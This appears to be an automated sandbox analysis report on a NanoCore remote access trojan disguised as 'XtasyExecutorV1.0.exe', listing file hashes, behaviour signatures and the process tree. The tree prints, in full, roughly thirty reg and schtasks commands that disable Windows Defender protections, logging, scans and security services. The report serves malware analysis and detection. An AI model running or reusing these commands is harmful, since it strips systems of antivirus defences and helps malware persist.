Analysis

  • max time kernel
    74s
  • max time network
    88s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    17-12-2024 19:36

General

  • Target

    XtasyExecutorV1.0.exe

  • Size

    203KB

  • MD5

    b8fb078ab0ff9ca107d79112a1a56255

  • SHA1

    cebcb36d55bb63688bd9ffbf7d372ba41b0e959e

  • SHA256

    2d73aa44284a435c2cc78b6a80a4326f42a28dfa598e5dfd20ba3f612afdcd37

  • SHA512

    1a817eb1043122eb183821558cd9541f4a34f76551f52040f8c2e3caf8dd082a88d80799be868bbb84fdf339cb462a63bb14bceae869345485b565a19d01f1f9

  • SSDEEP

    3072:AzEqV6B1jHa6dtJ10jgvzcgi+oG/j9iaMP2s/HIseXxluxTkQ0yyMH+elFEGxdb8:ALV6Bta6dtJmakIM5NhkQl3EGrbmMZ3k

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Nanocore family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XtasyExecutorV1.0.exe
    "C:\Users\Admin\AppData\Local\Temp\XtasyExecutorV1.0.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9d98cc66.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4740
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4208
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2844
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1824
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2428
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1168
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:3748
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:1772
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:3448
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2568
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:3460
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3804
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2736
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2464
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:940
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2512
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4184
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3452
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4112
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2392
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1404
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1428
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4568
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1636
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:5044
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:4052
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:4264
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:3500
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:4432
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:3456
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:1032
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        3⤵
        • Modifies security service
        • System Location Discovery: System Language Discovery
        PID:4532
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=3744,i,2434490937233099865,3722065701628193419,262144 --variations-seed-version --mojo-platform-channel-handle=4024 /prefetch:8
    1⤵
      PID:2240

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\9d98cc66.bat

      Filesize

      3KB

      MD5

      10e9d7377b7fd4df43145ae4c8b136b3

      SHA1

      4002ba143ff336f631d36c6afd93464822ba541e

      SHA256

      1b1b51dbe669925f941f0b3e04c7d00f29af6746179a7b72a58391720cd23da1

      SHA512

      c28b439ab8fdc3e8da7217250b5f13be1613b0acf5677758d65fe7e46f0abdea08db73ecce5ca38fb88c8c25064fddc04e1f23d4d70058d27a0ba23a980fe885

    • memory/4936-0-0x0000000075182000-0x0000000075183000-memory.dmp

      Filesize

      4KB

    • memory/4936-1-0x0000000075180000-0x0000000075731000-memory.dmp

      Filesize

      5.7MB

    • memory/4936-2-0x0000000075180000-0x0000000075731000-memory.dmp

      Filesize

      5.7MB

    • memory/4936-4-0x0000000075180000-0x0000000075731000-memory.dmp

      Filesize

      5.7MB

    • memory/4936-8-0x0000000075182000-0x0000000075183000-memory.dmp

      Filesize

      4KB

    • memory/4936-9-0x0000000075180000-0x0000000075731000-memory.dmp

      Filesize

      5.7MB

    • memory/4936-10-0x0000000075180000-0x0000000075731000-memory.dmp

      Filesize

      5.7MB

    • memory/4936-11-0x0000000075180000-0x0000000075731000-memory.dmp

      Filesize

      5.7MB